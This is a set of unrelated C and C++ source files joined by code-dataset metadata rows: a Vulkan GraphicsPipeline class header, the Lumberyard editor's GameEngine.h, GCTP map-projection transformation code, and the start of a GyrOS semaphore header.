GraphicsPipeline(std::weak_ptr<vkr::Device> device);
GraphicsPipeline(std::weak_ptr<vkr::Device> device,
vk::Pipeline& pipeline,
vk::PipelineLayout& pipelineLayout,
std::shared_ptr<RenderPass>& renderPass,
const GraphicsPipelineConfiguration& config);
public:
~GraphicsPipeline();
static GraphicsPipeline* create(std::weak_ptr<vkr::Device> device);
static GraphicsPipeline* create(const GraphicsPipelineConfiguration& graphicsPipelineConfiguration);
bool recreate(const GraphicsPipelineConfiguration& graphicsPipelineConfiguration);
void bind(const vk::CommandBuffer& commandBuffer) const;
const vk::Pipeline& getPipeline() const;
std::shared_ptr<RenderPass> getRenderPass() const;
const vk::PipelineLayout& getPipelineLayout() const;
const GraphicsPipelineConfiguration& getConfig() const;
bool isValid() const;
bool isStateDynamic(const vk::DynamicState& dynamicState) const;
void setViewport(const vk::CommandBuffer& commandBuffer, const size_t& firstViewport, const size_t& viewportCount, const vk::Viewport* viewports);
void setViewport(const vk::CommandBuffer& commandBuffer, const size_t& firstViewport, const std::vector<vk::Viewport>& viewports);
void setViewport(const vk::CommandBuffer& commandBuffer, const size_t& firstViewport, const vk::Viewport& viewport);
void setViewport(const vk::CommandBuffer& commandBuffer, const size_t& firstViewport, const float& x, const float& y, const float& width, const float& height, const float& minDepth, const float& maxDepth);
void setScissor(const vk::CommandBuffer& commandBuffer, const size_t& firstScissor, const size_t& scissorCount, const vk::Rect2D* scissorRects);
void setScissor(const vk::CommandBuffer& commandBuffer, const size_t& firstScissor, const std::vector<vk::Rect2D>& scissorRects);
void setScissor(const vk::CommandBuffer& commandBuffer, const size_t& firstScissor, const vk::Rect2D& scissorRect);
void setScissor(const vk::CommandBuffer& commandBuffer, const size_t& firstScissor, const int32_t& x, const int32_t& y, const uint32_t& width, const uint32_t& height);
void setLineWidth(const vk::CommandBuffer& commandBuffer, const float& lineWidth);
void setDepthBias(const vk::CommandBuffer& commandBuffer, const float& constantFactor, const float& clamp, const float& slopeFactor);
void setBlendConstants(const vk::CommandBuffer& commandBuffer, const glm::vec4& constants);
void setBlendConstants(const vk::CommandBuffer& commandBuffer, const float& r, const float& g, const float& b, const float& a);
void setDepthBounds(const vk::CommandBuffer& commandBuffer, const float& minDepthBound, const float& maxDepthBound);
void setStencilCompareMask(const vk::CommandBuffer& commandBuffer, const vk::StencilFaceFlags& faceMask, const uint32_t& compareMask);
void setStencilWriteMask(const vk::CommandBuffer& commandBuffer, const vk::StencilFaceFlags& faceMask, const uint32_t& writeMask);
void setStencilReference(const vk::CommandBuffer& commandBuffer, const vk::StencilFaceFlags& faceMask, const uint32_t& reference);
void setSampleLocations(const vk::CommandBuffer& commandBuffer, const vk::SampleLocationsInfoEXT& sampleLocations);
void setSampleLocations(const vk::CommandBuffer& commandBuffer, const vk::SampleCountFlagBits& samplesPerPixel, const vk::Extent2D& sampleGridSize, const uint32_t& sampleLocationsCount, const vk::SampleLocationEXT* sampleLocations);
void setSampleLocations(const vk::CommandBuffer& commandBuffer, const vk::SampleCountFlagBits& samplesPerPixel, const vk::Extent2D& sampleGridSize, const std::vector<vk::SampleLocationEXT>& sampleLocations);
void setLineStipple(const vk::CommandBuffer& commandBuffer, const uint32_t& lineStippleFactor, const uint16_t& lineStipplePattern);
void setCullMode(const vk::CommandBuffer& commandBuffer, const vk::CullModeFlags& cullMode);
void setFrontFace(const vk::CommandBuffer& commandBuffer, const vk::FrontFace& frontFace);
void setPrimitiveTopology(const vk::CommandBuffer& commandBuffer, const vk::PrimitiveTopology& primitiveTopology);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const uint32_t& bindingCount, const vk::Buffer* buffers, const vk::DeviceSize* offsets);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const std::vector<vk::Buffer>& buffers, const std::vector<vk::DeviceSize>& offsets);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const uint32_t& bindingCount, const vk::Buffer* buffers, const vk::DeviceSize* offsets, const vk::DeviceSize* sizes, const vk::DeviceSize* strides);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const std::vector<vk::Buffer>& buffers, const std::vector<vk::DeviceSize>& offsets, const std::vector<vk::DeviceSize>& sizes, const std::vector<vk::DeviceSize>& strides);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const uint32_t& bindingCount, Buffer* const* buffers, const vk::DeviceSize* offsets);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const std::vector<Buffer*>& buffers, const std::vector<vk::DeviceSize>& offsets);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const uint32_t& bindingCount, Buffer* const* buffers, const vk::DeviceSize* offsets, const vk::DeviceSize* sizes, const vk::DeviceSize* strides);
void bindVertexBuffers(const vk::CommandBuffer& commandBuffer, const uint32_t& firstBinding, const std::vector<Buffer*>& buffers, const std::vector<vk::DeviceSize>& offsets, const std::vector<vk::DeviceSize>& sizes, const std::vector<vk::DeviceSize>& strides);
void setDepthTestEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
void setDepthWriteEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
void setDepthCompareOp(const vk::CommandBuffer& commandBuffer, const vk::CompareOp& compareOp);
void setDepthBoundsTestEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
void setStencilTestEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
void setStencilOp(const vk::CommandBuffer& commandBuffer, const vk::StencilFaceFlags& faceMask, const vk::StencilOp& failOp, const vk::StencilOp& passOp, const vk::StencilOp& depthFailOp, const vk::CompareOp& compareOp);
void setVertexInput(const vk::CommandBuffer& commandBuffer, const size_t vertexBindingCount, const vk::VertexInputBindingDescription2EXT* vertexBindings, const size_t& vertexAttribCount, const vk::VertexInputAttributeDescription2EXT* vertexAttribs);
void setRasterizerDiscardEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
void setDepthBiasEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
void setLogicOp(const vk::CommandBuffer& commandBuffer, const vk::LogicOp& logicOp);
void setPrimitiveRestartEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
void setColourWriteEnabled(const vk::CommandBuffer& commandBuffer, const bool& enabled);
private:
void cleanup();
void validateDynamicState(const vk::DynamicState& dynamicState);
private:
std::shared_ptr<vkr::Device> m_device;
vk::Pipeline m_pipeline;
vk::PipelineLayout m_pipelineLayout;
std::shared_ptr<RenderPass> m_renderPass;
GraphicsPipelineConfiguration m_config;
};
namespace std {
template<>
struct hash<BlendMode> {
size_t operator()(const BlendMode& blendMode) const {
size_t hash = 0;
std::hash_combine(hash, (uint32_t)blendMode.src);
std::hash_combine(hash, (uint32_t)blendMode.dst);
std::hash_combine(hash, (uint32_t)blendMode.op);
return hash;
}
};
template<>
struct hash<AttachmentBlendState> {
size_t operator()(const AttachmentBlendState& attachmentBlendState) const {
size_t hash = 0;
std::hash_combine(hash, attachmentBlendState.blendEnable);
std::hash_combine(hash, attachmentBlendState.colourBlendMode);
std::hash_combine(hash, attachmentBlendState.alphaBlendMode);
std::hash_combine(hash, (uint32_t)attachmentBlendState.colourWriteMask);
return hash;
}
};
// template<>
// struct hash<GraphicsPipelineConfiguration> {
// size_t operator()(const GraphicsPipelineConfiguration& graphicsPipelineConfiguration) const {
// size_t hash = 0;
// // TODO
// return hash;
// }
// };
}
#endif //WORLDENGINE_GRAPHICSPIPELINE_H
| 53.813008 | 268 | 0.746034 | [
"vector"
] |
312bc3321f5383ebe1abd688047bc7da09bca815 | 8,571 | h | C | dev/Code/Sandbox/Editor/GameEngine.h | stickyparticles/lumberyard | dc523dd780f3cd1874251181b7cf6848b8db9959 | [
"AML"
] | 2 | 2019-11-29T09:04:54.000Z | 2021-03-18T02:34:44.000Z | dev/Code/Sandbox/Editor/GameEngine.h | JulianoCristian/Lumberyard-3 | dc523dd780f3cd1874251181b7cf6848b8db9959 | [
"AML"
] | null | null | null | dev/Code/Sandbox/Editor/GameEngine.h | JulianoCristian/Lumberyard-3 | dc523dd780f3cd1874251181b7cf6848b8db9959 | [
"AML"
] | 3 | 2019-05-13T09:41:33.000Z | 2021-04-09T12:12:38.000Z | /*
* All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
* its licensors.
*
* For complete copyright and license terms please see the LICENSE at the root of this
* distribution (the "License"). All use of this software is governed by the License,
* or, if provided, by the license below or the license accompanying this file. Do not
* remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
// Original file Copyright Crytek GMBH or its affiliates, used under license.
// Description : The game engine for editor
#ifndef CRYINCLUDE_EDITOR_GAMEENGINE_H
#define CRYINCLUDE_EDITOR_GAMEENGINE_H
#pragma once
#include <AzCore/Outcome/Outcome.h>
#include "LogFile.h"
#include "CryListenerSet.h"
struct IEditorGame;
class CStartupLogoDialog;
struct IFlowSystem;
struct IGameTokenSystem;
struct IEquipmentSystemInterface;
struct IInitializeUIInfo;
class CNavigation;
class IGameEngineListener
{
public:
virtual void OnPreEditorUpdate() = 0;
virtual void OnPostEditorUpdate() = 0;
};
//! This class serves as a high-level wrapper for CryEngine game.
class SANDBOX_API CGameEngine
: public IEditorNotifyListener
{
public:
CGameEngine();
~CGameEngine(void);
//! Initialize System.
//! @return successful outcome if initialization succeeded. or failed outcome with error message.
AZ::Outcome<void, AZStd::string> Init(
bool bPreviewMode,
bool bTestMode,
bool bShaderCacheGen,
const char* sCmdLine,
IInitializeUIInfo* logo,
HWND hwndForInputSystem);
//! Initialize game.
//! @return true if initialization succeeded, false otherwise
bool InitGame(const char* sGameDLL);
//! Load new terrain level into 3d engine.
//! Also load AI triangulation for this level.
bool LoadLevel(
const QString& levelPath,
const QString& mission,
bool bDeleteAIGraph,
bool bReleaseResources);
//!* Reload level if it was already loaded.
bool ReloadLevel();
//! Loads AI triangulation.
bool LoadAI(const QString& levelName, const QString& missionName);
//! Load new mission.
bool LoadMission(const QString& mission);
//! Reload environment settings in currently loaded level.
bool ReloadEnvironment();
//! Request to switch In/Out of game mode on next update.
//! The switch will happen when no sub systems are currently being updated.
//! @param inGame When true editor switch to game mode.
void RequestSetGameMode(bool inGame);
//! Switch In/Out of AI and Physics simulation mode.
//! @param enabled When true editor switch to simulation mode.
void SetSimulationMode(bool enabled, bool bOnlyPhysics = false);
//! Get current simulation mode.
bool GetSimulationMode() const { return m_bSimulationMode; };
//! Returns true if level is loaded.
bool IsLevelLoaded() const { return m_bLevelLoaded; };
//! Assign new level path name.
void SetLevelPath(const QString& path);
//! Assign new current mission name.
void SetMissionName(const QString& mission);
//! Return name of currently loaded level.
const QString& GetLevelName() const { return m_levelName; };
//! Return name of currently active mission.
const QString& GetMissionName() const { return m_missionName; };
//! Get fully specified level path.
const QString& GetLevelPath() const { return m_levelPath; };
//! Query if engine is in game mode.
bool IsInGameMode() const { return m_bInGameMode; };
//! Force level loaded variable to true.
void SetLevelLoaded(bool bLoaded) { m_bLevelLoaded = bLoaded; }
//! Force level just created variable to true.
void SetLevelCreated(bool bJustCreated) { m_bJustCreated = bJustCreated; }
//! Generate All AI data
void GenerateAiAll();
//! Generate AI Triangulation of currently loaded data.
void GenerateAiTriangulation();
//! Generate AI Waypoint of currently loaded data.
void GenerateAiWaypoint();
//! Generate AI Flight navigation of currently loaded data.
void GenerateAiFlightNavigation();
//! Generate AI 3D nav data of currently loaded data.
void GenerateAiNavVolumes();
//! Generate AI MNM navigation of currently loaded data.
void GenerateAINavigationMesh();
//! Generate AI Cover Surfaces of currently loaded data.
void GenerateAICoverSurfaces();
//! Loading all the AI navigation data of current level.
void LoadAINavigationData();
//! Does some basic sanity checking of the AI navigation
void ValidateAINavigation();
//! Clears all AI navigation data from the current level.
void ClearAllAINavigation();
//! Generates 3D volume voxels only for debugging
void Generate3DDebugVoxels();
void ExportAiData(
const char* navFileName,
const char* areasFileName,
const char* roadsFileName,
const char* fileNameVerts,
const char* fileNameVolume,
const char* fileNameFlight);
CNavigation* GetNavigation();
//! Sets equipment pack current used by player.
void SetPlayerEquipPack(const char* sEqipPackName);
//! Query ISystem interface.
ISystem* GetSystem() { return m_pISystem; };
//! Set player position in game.
//! @param bEyePos If set then given position is position of player eyes.
void SetPlayerViewMatrix(const Matrix34& tm, bool bEyePos = true);
//! When set, player in game will be every frame synchronized with editor camera.
void SyncPlayerPosition(bool bEnable);
bool IsSyncPlayerPosition() const { return m_bSyncPlayerPosition; };
void HideLocalPlayer(bool bHide);
//! Set game's current Mod name.
void SetCurrentMOD(const char* sMod);
//! Returns game's current Mod name.
QString GetCurrentMOD() const;
//! Called every frame.
void Update();
virtual void OnEditorNotifyEvent(EEditorNotifyEvent event);
struct IEntity* GetPlayerEntity();
// Retrieve pointer to the game flow system implementation.
IFlowSystem* GetIFlowSystem() const;
IGameTokenSystem* GetIGameTokenSystem() const;
IEquipmentSystemInterface* GetIEquipmentSystemInterface() const;
IEditorGame* GetIEditorGame() const { return m_pEditorGame; }
//! When enabled flow system will be updated at editing mode.
void EnableFlowSystemUpdate(bool bEnable)
{
m_bUpdateFlowSystem = bEnable;
const EEditorNotifyEvent event = bEnable ? eNotify_OnEnableFlowSystemUpdate : eNotify_OnDisableFlowSystemUpdate;
GetIEditor()->Notify(event);
}
bool IsFlowSystemUpdateEnabled() const { return m_bUpdateFlowSystem; }
void LockResources();
void UnlockResources();
void ResetResources();
bool SupportsMultiplayerGameRules();
void ToggleMultiplayerGameRules();
bool BuildEntitySerializationList(XmlNodeRef output);
void OnTerrainModified(const Vec2& modPosition, float modAreaRadius, bool fullTerrain);
void OnAreaModified(const AABB& modifiedArea);
//! mutex used by other threads to lock up the PAK modification,
//! so only one thread can modify the PAK at once
static CryMutex& GetPakModifyMutex()
{
//! mutex used to halt copy process while the export to game
//! or other pak operation is done in the main thread
static CryMutex s_pakModifyMutex;
return s_pakModifyMutex;
}
inline HMODULE GetGameModule() const
{
return m_gameDll;
}
private:
void SetGameMode(bool inGame);
void SwitchToInGame();
void SwitchToInEditor();
CLogFile m_logFile;
QString m_levelName;
QString m_missionName;
QString m_levelPath;
QString m_MOD;
bool m_bLevelLoaded;
bool m_bInGameMode;
bool m_bSimulationMode;
bool m_bSimulationModeAI;
bool m_bSyncPlayerPosition;
bool m_bUpdateFlowSystem;
bool m_bJustCreated;
bool m_bIgnoreUpdates;
ISystem* m_pISystem;
IAISystem* m_pIAISystem;
IEntitySystem* m_pIEntitySystem;
CNavigation* m_pNavigation;
Matrix34 m_playerViewTM;
struct SSystemUserCallback* m_pSystemUserCallback;
HMODULE m_hSystemHandle;
HMODULE m_gameDll;
IEditorGame* m_pEditorGame;
class CGameToEditorInterface* m_pGameToEditorInterface;
enum EPendingGameMode
{
ePGM_NotPending,
ePGM_SwitchToInGame,
ePGM_SwitchToInEditor,
};
EPendingGameMode m_ePendingGameMode;
};
#endif // CRYINCLUDE_EDITOR_GAMEENGINE_H
| 37.427948 | 120 | 0.717653 | [
"3d"
] |
312d452e3b4ad28718d10e5b4fa99c574c4c35b3 | 12,720 | c | C | raw_binary/land_water_mask_libs/GCTP3/gctp_create_transformation.c | ldj01/e-p-f | a1731ddb728bead16fbd0e1ced62193e2a42037e | [
"Unlicense"
] | 1 | 2021-04-16T15:01:01.000Z | 2021-04-16T15:01:01.000Z | raw_binary/land_water_mask_libs/GCTP3/gctp_create_transformation.c | ldj01/e-p-f | a1731ddb728bead16fbd0e1ced62193e2a42037e | [
"Unlicense"
] | null | null | null | raw_binary/land_water_mask_libs/GCTP3/gctp_create_transformation.c | ldj01/e-p-f | a1731ddb728bead16fbd0e1ced62193e2a42037e | [
"Unlicense"
] | 1 | 2020-07-28T16:05:53.000Z | 2020-07-28T16:05:53.000Z | /****************************************************************************
Name: gctp_create_transformation
Purpose: Given input and output projections creates a projection
transformation object (GTCP_TRANSFORMATION) that is used when calling
the gctp_transform to do the actual transformation.
Note: The GCTP_TRANSFORMATION includes the input and output units specified.
If the same transformation is needed with different input or output
units it requires the creation of a different GCTP_TRANSFORMATION.
****************************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include "cproj.h"
#include "gctp.h"
#include "local.h"
/* Define a type for a projection initialization function pointer. */
typedef int (*INIT_ROUTINE)(TRANSFORMATION *trans);
/* Define a lookup table for the forward transform init routines
(lat/lon to x/y) */
static INIT_ROUTINE forward_init[GCTP_MAX_PROJ_CODE + 1] =
{
gctp_geo_init, /* 0 = Geographic */
gctp_utm_forward_init, /* 1 = Universal Transverse Mercator (UTM) */
gctp_state_plane_forward_init, /* 2 = State Plane Coordinates */
NULL, /* 3 = Albers Conical Equal Area */
gctp_lamcc_forward_init, /* 4 = Lambert Conformal Conic */
NULL, /* 5 = Mercator */
gctp_ps_forward_init, /* 6 = Polar Stereographic */
gctp_poly_forward_init,/* 7 = Polyconic */
NULL, /* 8 = Equidistant Conic */
gctp_tm_forward_init, /* 9 = Transverse Mercator */
NULL, /* 10 = Stereographic */
NULL, /* 11 = Lambert Azimuthal Equal Area */
NULL, /* 12 = Azimuthal Equidistant */
NULL, /* 13 = Gnomonic */
NULL, /* 14 = Orthographic */
NULL, /* 15 = General Vertical Near-Side Perspective */
NULL, /* 16 = Sinusiodal */
NULL, /* 17 = Equirectangular */
NULL, /* 18 = Miller Cylindrical */
NULL, /* 19 = Van der Grinten */
gctp_om_forward_init, /* 20 = (Hotine) Oblique Mercator */
NULL, /* 21 = Robinson */
gctp_som_forward_init, /* 22 = Space Oblique Mercator (SOM) */
NULL, /* 23 = Alaska Conformal */
NULL, /* 24 = Interrupted Goode Homolosine */
NULL, /* 25 = Mollweide */
NULL, /* 26 = Interrupted Mollweide */
NULL, /* 27 = Hammer */
NULL, /* 28 = Wagner IV */
NULL, /* 29 = Wagner VII */
NULL, /* 30 = Oblated Equal Area */
NULL, /* 31 = Integerized Sinusiodal */
};
/* Define a lookup table for the inverse transform init routines
(x/y to lat/lon) */
static INIT_ROUTINE inverse_init[GCTP_MAX_PROJ_CODE + 1] =
{
gctp_geo_init, /* 0 = Geographic */
gctp_utm_inverse_init, /* 1 = Universal Transverse Mercator (UTM) */
gctp_state_plane_inverse_init, /* 2 = State Plane Coordinates */
NULL, /* 3 = Albers Conical Equal Area */
gctp_lamcc_inverse_init, /* 4 = Lambert Conformal Conic */
NULL, /* 5 = Mercator */
gctp_ps_inverse_init, /* 6 = Polar Stereographic */
gctp_poly_inverse_init,/* 7 = Polyconic */
NULL, /* 8 = Equidistant Conic */
gctp_tm_inverse_init, /* 9 = Transverse Mercator */
NULL, /* 10 = Stereographic */
NULL, /* 11 = Lambert Azimuthal Equal Area */
NULL, /* 12 = Azimuthal Equidistant */
NULL, /* 13 = Gnomonic */
NULL, /* 14 = Orthographic */
NULL, /* 15 = General Vertical Near-Side Perspective */
NULL, /* 16 = Sinusiodal */
NULL, /* 17 = Equirectangular */
NULL, /* 18 = Miller Cylindrical */
NULL, /* 19 = Van der Grinten */
gctp_om_inverse_init, /* 20 = (Hotine) Oblique Mercator */
NULL, /* 21 = Robinson */
gctp_som_inverse_init, /* 22 = Space Oblique Mercator (SOM) */
NULL, /* 23 = Alaska Conformal */
NULL, /* 24 = Interrupted Goode Homolosine */
NULL, /* 25 = Mollweide */
NULL, /* 26 = Interrupted Mollweide */
NULL, /* 27 = Hammer */
NULL, /* 28 = Wagner IV */
NULL, /* 29 = Wagner VII */
NULL, /* 30 = Oblated Equal Area */
NULL, /* 31 = Integerized Sinusiodal */
};
/* Flag to only allow threadsafe transforms to be created. This is "temporary"
and can be removed when all the projection transformations have been updated
to be threadsafe. */
static int only_threadsafe = 0;
/* Routine to get the conversion factor for converting between the input and
output units. */
static int get_unit_conversion_factor
(
int in_units,
int out_units,
double *factor
)
{
/* Define an array of conversion factors between the in_units (first index
in the array) and the out_units (second index of the array) */
static const double factors[6][6] =
{{1.0, 0.0, 0.0, 206264.8062470963, 57.295779513082323, 0.0},
{0.0, 1.0, .3048006096012192, 0.0, 0.0, 1.000002000004},
{0.0, 3.280833333333333, 1.0, 0.0, 0.0, 3.280839895013124},
{.484813681109536e-5, 0.0, 0.0, 1.0, .27777777777778e-3, 0.0},
{.01745329251994329, 0.0, 0.0, 3600, 1.0, 0.0},
{0.0, .999998, .3048, 0.0, 0.0, 1.0}};
if ((out_units >= 0) && (out_units <= MAXUNIT) && (in_units >= 0)
&& (in_units <= MAXUNIT))
{
*factor = factors[in_units][out_units];
/* Angle units can not be converted to length units */
if (*factor == 0.0)
{
GCTP_PRINT_ERROR("Incompatable unit codes: %d and %d",
in_units, out_units);
return GCTP_ERROR;
}
}
else
{
GCTP_PRINT_ERROR("Illegal source or target unit code: %d and %d",
in_units, out_units);
return GCTP_ERROR;
}
return GCTP_SUCCESS;
}
/****************************************************************************
Name: gctp_create_transformation
Purpose: Given input and output projections creates a projection
transformation.
Returns:
A pointer to the transformation created, or NULL if there is an error.
Notes:
- gctp_destroy_transformation should be called for transformations that
are created to free any resources allocated by the creation process.
****************************************************************************/
GCTP_TRANSFORMATION *gctp_create_transformation
(
const GCTP_PROJECTION *input_projection,
const GCTP_PROJECTION *output_projection
)
{
GCTP_TRANSFORMATION *trans;
INIT_ROUTINE inverse_init_func;
INIT_ROUTINE forward_init_func;
int units;
/* Verify the proj codes are valid */
if (input_projection->proj_code < 0
|| input_projection->proj_code > GCTP_MAX_PROJ_CODE)
{
GCTP_PRINT_ERROR("Invalid input projection code: %d",
input_projection->proj_code);
return NULL;
}
if (output_projection->proj_code < 0
|| output_projection->proj_code > GCTP_MAX_PROJ_CODE)
{
GCTP_PRINT_ERROR("Invalid output projection code: %d",
input_projection->proj_code);
return NULL;
}
/* Allocate memory for the transformation object */
trans = malloc(sizeof(*trans));
if (!trans)
{
GCTP_PRINT_ERROR("Error allocating memory for transformation object");
return NULL;
}
/* Copy the projection information to the transformation object */
trans->inverse.proj = *input_projection;
trans->forward.proj = *output_projection;
/* default to no forward or inverse transformation routines */
trans->forward.transform = NULL;
trans->forward.destroy = NULL;
trans->forward.cache = NULL;
trans->forward.print_info = NULL;
trans->inverse.transform = NULL;
trans->inverse.destroy = NULL;
trans->inverse.cache = NULL;
trans->inverse.print_info = NULL;
/* Get the inverse and forward init routine pointers */
inverse_init_func = inverse_init[input_projection->proj_code];
forward_init_func = forward_init[output_projection->proj_code];
/* If either of the init routines are not available, fall back to using
GCTP for the transformations */
/* TODO - remove this when all transformations are supported with the
new interface */
trans->use_gctp = 0;
if (!inverse_init_func || !forward_init_func)
{
/* If only threadsafe transforms are allowed, consider trying to use
the old gctp interface an error since it isn't threadsafe */
if (only_threadsafe)
{
GCTP_PRINT_ERROR("Error: trying to use a projection "
"transformation that isn't threadsafe");
free(trans);
return NULL;
}
trans->use_gctp = 1;
return trans;
}
/* Create the inverse transformation */
if (inverse_init_func)
{
if (inverse_init_func(&trans->inverse) != GCTP_SUCCESS)
{
GCTP_PRINT_ERROR("Error initializing inverse transformation");
free(trans);
return NULL;
}
}
else
{
GCTP_PRINT_ERROR("Unsupported projection code: %d",
input_projection->proj_code);
free(trans);
return NULL;
}
/* Create the forward transformation */
if (forward_init_func)
{
if (forward_init_func(&trans->forward) != GCTP_SUCCESS)
{
GCTP_PRINT_ERROR("Error initializing forward transformation");
gctp_destroy_transformation(trans);
return NULL;
}
}
else
{
GCTP_PRINT_ERROR("Unsupported projection code: %d",
output_projection->proj_code);
gctp_destroy_transformation(trans);
return NULL;
}
/* find the factor unit conversions--all transformations are in radians
or meters */
if (input_projection->proj_code == GEO)
units = RADIAN;
else
units = METER;
if (get_unit_conversion_factor(input_projection->units, units,
&trans->inverse.unit_conversion_factor) != GCTP_SUCCESS)
{
GCTP_PRINT_ERROR("Error getting the input unit conversion factor");
gctp_destroy_transformation(trans);
return NULL;
}
if (output_projection->proj_code == GEO)
units = RADIAN;
else
units = METER;
if (get_unit_conversion_factor(units, output_projection->units,
&trans->forward.unit_conversion_factor) != GCTP_SUCCESS)
{
GCTP_PRINT_ERROR("Error getting the output unit conversion factor");
gctp_destroy_transformation(trans);
return NULL;
}
/* Return the transformation */
return trans;
}
/****************************************************************************
Name: gctp_destroy_transformation
Purpose: Releases the resources allocated when a transformation is created.
After this is called, the transformation is no longer valid.
Returns:
nothing
****************************************************************************/
void gctp_destroy_transformation
(
GCTP_TRANSFORMATION *trans
)
{
if (trans)
{
if (trans->forward.destroy)
trans->forward.destroy(&trans->forward);
if (trans->inverse.destroy)
trans->inverse.destroy(&trans->inverse);
free(trans->forward.cache);
trans->forward.cache = NULL;
free(trans->inverse.cache);
trans->inverse.cache = NULL;
free(trans);
}
}
/****************************************************************************
Name: gctp_only_allow_threadsafe_transforms
Purpose: Many of the transformations haven't been made threadsafe yet. Until
they are, there needs to be a way to allow threaded applications to
indicate that they are threaded and therefore only threadsafe
transformations should be allowed. This routine should be called from any
application that uses threading. After calling this, non-threadsafe
projections will cause the transformation creation to return an error.
Returns:
nothing
****************************************************************************/
void gctp_only_allow_threadsafe_transforms()
{
only_threadsafe = 1;
}
| 36.551724 | 79 | 0.579403 | [
"object",
"transform"
] |
312d4692ad52716b778ebfc868ecb7e35dfad06e | 5,497 | h | C | include/gyros/sem.h | tringis/gyros | fd70b903b88d2cad8559c15493f5544b7aa803ac | [
"MIT"
] | null | null | null | include/gyros/sem.h | tringis/gyros | fd70b903b88d2cad8559c15493f5544b7aa803ac | [
"MIT"
] | null | null | null | include/gyros/sem.h | tringis/gyros | fd70b903b88d2cad8559c15493f5544b7aa803ac | [
"MIT"
] | null | null | null | /**************************************************************************
* Copyright (c) 2002-2009, Tobias Ringström <tobias@ringis.se>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**************************************************************************/
#ifndef INCLUDED__gyros_sem_h__200808281430
#define INCLUDED__gyros_sem_h__200808281430
/** \file
* \brief Semaphores.
* \details Header file for \ref sem_group.
*
* \defgroup sem_group Semaphores
*
* A semaphore must be initialized before use, either using
* GYROS_SEM_INITVAL() or GYROS_BINARY_SEM_INITVAL() when defining
* the semaphore, or using gyros_sem_init().
*
* @{
*/
#include <limits.h>
#include <stdbool.h>
#include <gyros-config.h>
#include <gyros/private/debug.h>
#include <gyros/task.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef DOXYGEN_SHOULD_SKIP_THIS
# define GYROS_SEM_DEBUG_MAGIC ((unsigned)0xe111100a)
#endif
/** Initialization value for a counting semaphore by the specified @a
* name and start value @a start_value. When a semaphore is
* initialized using this value, gyros_sem_init() does not need to be
* called. Example:
*
* \code
* gyros_sem_t my_sem = GYROS_SEM_INITVAL(my_sem, 0);
* \endcode
*
* \param name Name of the semaphore variable.
* \param start_value Start value.
*/
#define GYROS_SEM_INITVAL(name, start_value) \
{ GYROS_DEBUG_INFO(GYROS_SEM_DEBUG_MAGIC, #name), \
start_value, UINT_MAX, \
GYROS__LIST_INITVAL((name).task_list) }
/** Initialization value for a binary semaphore by the specified @a
* name. When a semaphore is initialized using this value,
* gyros_sem_init_binary() does not need to be called. Example:
*
* \code
* gyros_sem_t my_sem = GYROS_BINARY_SEM_INITVAL(my_sem);
* \endcode
*
* \param name Name of the semaphore variable.
*/
#define GYROS_BINARY_SEM_INITVAL(name) \
{ GYROS_DEBUG_INFO(GYROS_SEM_DEBUG_MAGIC, #name), \
0, 1, GYROS__LIST_INITVAL((name).task_list) }
/** Define and initialize a semaphore @a name. Example:
*
* \code
* GYROS_DEFINE_SEM(my_sem);
* static GYROS_DEFINE_SEM(my_static_sem);
* \endcode
*
* \param name Name of the semaphore.
*/
#define GYROS_DEFINE_SEM(name, start_value) \
gyros_sem_t name = GYROS_SEM_INITVAL(name, start_value)
/** Define and initialize a binary semaphore @a name. Example:
*
* \code
* GYROS_DEFINE_BINARY_SEM(my_sem);
* static GYROS_DEFINE_BINARY_SEM(my_static_sem);
* \endcode
*
* \param name Name of the semaphore.
*/
#define GYROS_DEFINE_BINARY_SEM(name) \
gyros_sem_t name = GYROS_BINARY_SEM_INITVAL(name)
/** \brief Semaphore (sem) object. */
typedef struct
{
struct gyros_debug_info debug_info; /**< Debug info. */
unsigned value; /**< \internal */
unsigned max_value; /**< \internal */
struct gyros__list_node task_list; /**< \internal */
} gyros_sem_t;
